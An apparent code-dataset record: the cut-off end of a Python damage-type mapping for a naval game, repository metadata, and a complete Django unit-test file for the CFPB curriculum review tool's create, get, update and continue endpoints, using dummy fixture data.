== DAMAGE_AVIA_BOMB_HE: super(DamageCollection_0_6_13, self).add(DAMAGE_AVIA_BOMB, value - prevValue) class DamageCollection_0_8_0(DamageCollection_0_6_13): def getMap(self): return {1:DAMAGE_MAIN_AP, 2:DAMAGE_MAIN_HE, 3:DAMAGE_AMK_AP, 4:DAMAGE_AMK_HE, 7:DAMAGE_SHIP_TORPEDO, 10:DAMAGE_AVIA_ROCKET, 11:DAMAGE_AVIA_BOMB, 12:DAMAGE_AVIA_TORPEDO, 17:DAMAGE_FIRE, 18:DAMAGE_RAM, 20:DAMAGE_SINK, 28:DAMAGE_ROCKET} class DamageCollection_0_8_2(DamageCollection_0_8_0): def getMap(self): return {1:DAMAGE_MAIN_AP, 2:DAMAGE_MAIN_HE, 3:DAMAGE_AMK_AP, 4:DAMAGE_AMK_HE, 7:DAMAGE_SHIP_TORPEDO, 10:DAMAGE_AVIA_BOMB_AP, 11:DAMAGE_AVIA_BOMB_HE, 12:DAMAGE_AVIA_TORPEDO, 17:DAMAGE_FIRE, 18:DAMAGE_RAM, 20:DAMAGE_SINK, 27:DAMAGE_AVIA_BOMB, 28:DAMAGE_AVIA_ROCKET, 32:DAMAGE_MAIN_CS}

31.990385

98

0.60024

409

3,327

4.506112

0.144254

0.113945

0.106348

0.065111

0.837222

0.803581

0

0.056

0.323715

3,327

103

99

32.300971

0.763111

0

0.758621

0

1

0.08046

false

0

0.022989

0.057471

0.218391

0

null

0

1

0

1

0

null

0

7

83341c89a6762e547b5acf173eb819f610c73850

15,575

py

Python

crtool/tests/test_views.py

cfpb/curriculum-review-tool

3c55a55521078dadaa58439dcbfd564b54c43871

[ "CC0-1.0" ]

3

2020-07-21T02:59:52.000Z

2021-08-18T18:42:48.000Z

crtool/tests/test_views.py

cfpb/curriculum-review-tool

3c55a55521078dadaa58439dcbfd564b54c43871

[ "CC0-1.0" ]

6

2020-08-17T20:01:11.000Z

2021-05-04T19:58:39.000Z

crtool/tests/test_views.py

cfpb/curriculum-review-tool

3c55a55521078dadaa58439dcbfd564b54c43871

[ "CC0-1.0" ]

1

2021-02-20T10:29:35.000Z

import json from django.test import RequestFactory, TestCase from django.urls import reverse from crtool.views import ( continue_review, create_review, get_review, update_review, ) class CreateReviewTest(TestCase): def setUp(self): self.factory = RequestFactory() def post(self, post, ajax=False): kwargs = {"HTTP_X_REQUESTED_WITH": "XMLHttpRequest"} if ajax else {} kwargs['content_type'] = "application/json" request = self.factory.post(reverse("create_review"), post, **kwargs) return create_review(request) def assertBadRequest(self, response, content=None): self.assertEqual(response.status_code, 400) if content: self.assertEqual(response.content, content) def assertCreateSuccess(self, response, compare={}, content=None): data = json.loads(response.content.decode("utf-8")) for k, v in compare.items(): if not self.assertEqual(data[k], compare[k]): return False return True def check_post(self, post, response_check, ajax=False, compare={}, content=None): # noqa 501 if compare: response_check(self.post(post, ajax=ajax), compare=compare, content=content) # noqa 501 else: response_check(self.post(post, ajax=ajax), content=content) def test_invalid_json(self): kwargs = { "HTTP_X_REQUESTED_WITH": "XMLHttpRequest", "content_type": "application/json", } request = self.factory.post( reverse("create_review"), "invalid:json}", **kwargs) self.assertBadRequest(create_review(request), b"Invalid JSON") def test_missing_title(self): post = { "tdp-crt_pubdate": "Jan 1, 2001", "tdp-crt_grade": "Elementary school", "tdp-crt_pass_code": "P455W0RD" } self.check_post(post, self.assertBadRequest) def test_empty_title(self): post = { "tdp-crt_title": "", "tdp-crt_pubdate": "Jan 1, 2001", "tdp-crt_grade": "Elementary school", "tdp-crt_pass_code": "P455W0RD" } self.check_post(post, self.assertBadRequest) def test_long_title(self): post = { "tdp-crt_title": "Test title" * 100, "tdp-crt_pubdate": "Jan 1, 2001", "tdp-crt_grade": "Elementary school", "tdp-crt_pass_code": "P455W0RD" } self.check_post(post, self.assertBadRequest, content=b"Too Large") def test_missing_grade_level(self): post = { "tdp-crt_title": "Test title", "tdp-crt_pubdate": "Jan 1, 2001", "tdp-crt_pass_code": "P455W0RD" } self.check_post(post, self.assertBadRequest) def test_empty_grade_level(self): post = { "tdp-crt_title": "Test title", "tdp-crt_pubdate": "Jan 1, 2001", "tdp-crt_grade": "", "tdp-crt_pass_code": "P455W0RD" } self.check_post(post, self.assertBadRequest) def test_create(self): post = { "tdp-crt_title": "Test title", "tdp-crt_pubdate": "Jan 1, 2001", "tdp-crt_grade": "Elementary school", "tdp-crt_pass_code": "P455W0RD" } compare = { "curriculumTitle": "Test title", "publicationDate": "Jan 1, 2001", "gradeRange": "Elementary school", "pass_code": "P455W0RD" } self.check_post(post, self.assertCreateSuccess, compare=compare) def test_missing_pubdate_and_passcode(self): post = { "tdp-crt_title": "Test title", "tdp-crt_grade": "Elementary school", } compare = { "curriculumTitle": "Test title", "gradeRange": "Elementary school", "publicationDate": "", "pass_code": "" } self.check_post(post, self.assertCreateSuccess, compare=compare) def test_empty_pubdate_and_passcode(self): post = { "tdp-crt_title": "Test title", "tdp-crt_grade": "Elementary school", "tdp-crt_pubdate": "", "tdp-crt_pass_code": "" } compare = { "curriculumTitle": "Test title", "gradeRange": "Elementary school", "publicationDate": "", "pass_code": "" } self.check_post(post, self.assertCreateSuccess, compare=compare) def test_missing_title_ajax(self): post = { "tdp-crt_pubdate": "Jan 1, 2001", "tdp-crt_grade": "Elementary school", "tdp-crt_pass_code": "P455W0RD" } self.check_post(post, self.assertBadRequest, ajax=True) def test_empty_title_ajax(self): post = { "tdp-crt_title": "", "tdp-crt_pubdate": "Jan 1, 2001", "tdp-crt_grade": "Elementary school", "tdp-crt_pass_code": "P455W0RD" } self.check_post(post, self.assertBadRequest, ajax=True) def test_missing_grade_level_ajax(self): post = { "tdp-crt_title": "Test title", "tdp-crt_pubdate": "Jan 1, 2001", "tdp-crt_pass_code": "P455W0RD" } self.check_post(post, self.assertBadRequest, ajax=True) def test_empty_grade_level_ajax(self): post = { "tdp-crt_title": "Test title", "tdp-crt_pubdate": "Jan 1, 2001", "tdp-crt_grade": "", "tdp-crt_pass_code": "P455W0RD" } self.check_post(post, self.assertBadRequest, ajax=True) def test_create_ajax(self): post = { "tdp-crt_title": "Test title", "tdp-crt_pubdate": "Jan 1, 2001", "tdp-crt_grade": "Elementary school", "tdp-crt_pass_code": "P455W0RD" } compare = { "curriculumTitle": "Test title", "publicationDate": "Jan 1, 2001", "gradeRange": "Elementary school", "pass_code": "P455W0RD" } self.check_post(post, self.assertCreateSuccess, ajax=True, compare=compare) # noqa 501 def test_missing_pubdate_and_passcode_ajax(self): post = { "tdp-crt_title": "Test title", "tdp-crt_grade": "Elementary school", } compare = { "curriculumTitle": "Test title", "gradeRange": "Elementary school", "publicationDate": "", "pass_code": "" } self.check_post(post, self.assertCreateSuccess, compare=compare, ajax=True) # noqa 501 def test_empty_pubdate_and_passcode_ajax(self): post = { "tdp-crt_title": "Test title", "tdp-crt_grade": "Elementary school", "tdp-crt_pubdate": "", "tdp-crt_pass_code": "" } compare = { "curriculumTitle": "Test title", "gradeRange": "Elementary school", "publicationDate": "", "pass_code": "" } self.check_post(post, self.assertCreateSuccess, compare=compare, ajax=True) # noqa 501 class GetReviewTest(TestCase): fixtures = ['crtool_initial_data'] def setUp(self): self.factory = RequestFactory() def post(self, post, ajax=False): kwargs = {"HTTP_X_REQUESTED_WITH": "XMLHttpRequest"} if ajax else {} request = self.factory.post(reverse("get_review"), post, **kwargs) return get_review(request) def check_post(self, post, response_check, compare={}): if compare: response_check(self.post(post), compare=compare) else: response_check(self.post(post)) def assertPageNotFound(self, response): self.assertEqual(response.status_code, 404) def assertGetSuccess(self, response, compare={}): data = json.loads(response.content.decode("utf-8")) for k, v in compare.items(): if not self.assertEqual(data[k], compare[k]): return False return True # Test with token id that exists def test_existing_id(self): post = { "token": "02d19cc1314747ef8aacb3", } compare = { "id": "02d19cc1314747ef8aacb3", "START": "Quality", "pass_code": "", "gradeRange": "High school", "last_updated": "2020-08-06T00:59:22.576547+00:00", "quality_status": "in progress", "curriculumTitle": "Test", "publicationDate": "", "ls_modified_time": "2020-08-06T00:58:28.817Z", "criterionClickedTitles": "{\"quality-crt-question-2\":\"clicked\"}", # noqa 501 "dimensionOverallScores": "{\"Quality\":\"limited\"}", } self.check_post(post, self.assertGetSuccess, compare=compare) # Test with token id that doesn't exist def test_non_existent_id(self): post = { "token": "02d19cc1314747ef8aacbz" } self.check_post(post, self.assertPageNotFound) # Test with null def test_null(self): post = { } self.check_post(post, self.assertPageNotFound) # Test with empty string def test_empty_id(self): post = { "token": "" } self.check_post(post, self.assertPageNotFound) # Test with short fake token id def test_invalid_id(self): post = { "token": "apple" } self.check_post(post, self.assertPageNotFound) class UpdateReviewTest(TestCase): fixtures = ['crtool_initial_data'] def setUp(self): self.factory = RequestFactory() def post(self, post, ajax=False): kwargs = {"HTTP_X_REQUESTED_WITH": "XMLHttpRequest"} if ajax else {} kwargs['content_type'] = "application/json" request = self.factory.post(reverse("update_review"), post, **kwargs) return update_review(request) def assertBadRequest(self, response, content=None): self.assertEqual(response.status_code, 400) if content: self.assertEqual(response.content, content) def assertPageNotFound(self, response, content=None): self.assertEqual(response.status_code, 404) def assertUpdateSuccess(self, response, compare={}, content=None): data = json.loads(response.content.decode("utf-8")) # Return False if updated review doesn't match comparison. for k, v in compare.items(): if not self.assertEqual(data[k], compare[k]): return False # Return False if the last_updated date isn't updated. if not self.assertGreater(data['last_updated'], compare['last_updated']): # noqa 501 return False return True def check_post(self, post, response_check, ajax=False, compare={}, content=None): # noqa 501 if compare: response_check(self.post(post, ajax=ajax), compare=compare, content=content) # noqa 501 else: response_check(self.post(post, ajax=ajax), content=content) def test_invalid_json(self): kwargs = { "HTTP_X_REQUESTED_WITH": "XMLHttpRequest", "content_type": "application/json", } request = self.factory.post( reverse("update_review"), "invalid:json}", **kwargs) self.assertBadRequest(update_review(request), b"Invalid JSON") # Test with token id that exists def test_update_title(self): post = { "id": "242449c9251243c1b512d2", "pass_code": None, "gradeRange": "Middle school", "last_updated": "2020-07-12 04:52:56.858970+00:00", "curriculumTitle": "Updated title", "publicationDate": "" } self.check_post(post, self.assertUpdateSuccess, compare=post) # Test with token id that doesn't exist def test_non_existent_id(self): post = { "id": "6893d3af8eb54e74a27883", "pass_code": None, "gradeRange": "Middle school", "last_updated": "2020-07-12 04:52:56.858970+00:00", "curriculumTitle": "Updated title", "publicationDate": "" } self.check_post(post, self.assertPageNotFound) # Test with null token id def test_null_id(self): post = { "id": None, "pass_code": None, "gradeRange": "Middle school", "last_updated": "2020-07-12 04:52:56.858970+00:00", "curriculumTitle": "Updated title", "publicationDate": "" } self.check_post(post, self.assertPageNotFound) # Test with missing token id def test_missing_id(self): post = { "pass_code": None, "gradeRange": "Middle school", "last_updated": "2020-07-12 04:52:56.858970+00:00", "curriculumTitle": "Updated title", "publicationDate": "" } self.check_post(post, self.assertPageNotFound) # Test with empty string token id def test_empty_id(self): post = { "id": "", "pass_code": None, "gradeRange": "Middle school", "last_updated": "2020-07-12 04:52:56.858970+00:00", "curriculumTitle": "Updated title", "publicationDate": "" } self.check_post(post, self.assertPageNotFound) # Test with fake token id def test_invalid_id(self): post = { "id": "apple", "pass_code": None, "gradeRange": "Middle school", "last_updated": "2020-07-12 04:52:56.858970+00:00", "curriculumTitle": "Updated title", "publicationDate": "" } self.check_post(post, self.assertPageNotFound) def test_overly_large_body(self): post = { "id": "242449c9251243c1b512d2", "pass_code": None, "gradeRange": "Middle school", "last_updated": "2020-07-12 04:52:56.858970+00:00", "curriculumTitle": "Updated title", "publicationDate": "", "junk": "0123456789" * 49000, } self.check_post(post, self.assertUpdateSuccess, compare=post) post["junk"] = "0123456789" * 50000 self.check_post(post, self.assertBadRequest, content=b"Too Large") # Test empty post def test_empty_post(self): post = {} self.check_post(post, self.assertPageNotFound) # Test empty post def test_null_post(self): post = None self.check_post(post, self.assertPageNotFound) class ContinueReviewTest(TestCase): fixtures = ['crtool_initial_data'] def setUp(self): self.factory = RequestFactory() def post(self, post): kwargs = {"HTTP_X_REQUESTED_WITH": "XMLHttpRequest"} request = self.factory.post(reverse("continue_review"), post, **kwargs) # noqa 501 return continue_review(request) def test_non_existent_pass_code(self): post = { "access_code": "fakefake", } response = self.post(post) self.assertEqual(response.status_code, 404) def test_found_pass_code(self): post = { "access_code": "1da8305db6774e46970ec3", } response = self.post(post) self.assertEqual(response.status_code, 302) self.assertEqual(response.url, "../tool/#id=1da8305db6774e46970ec3")

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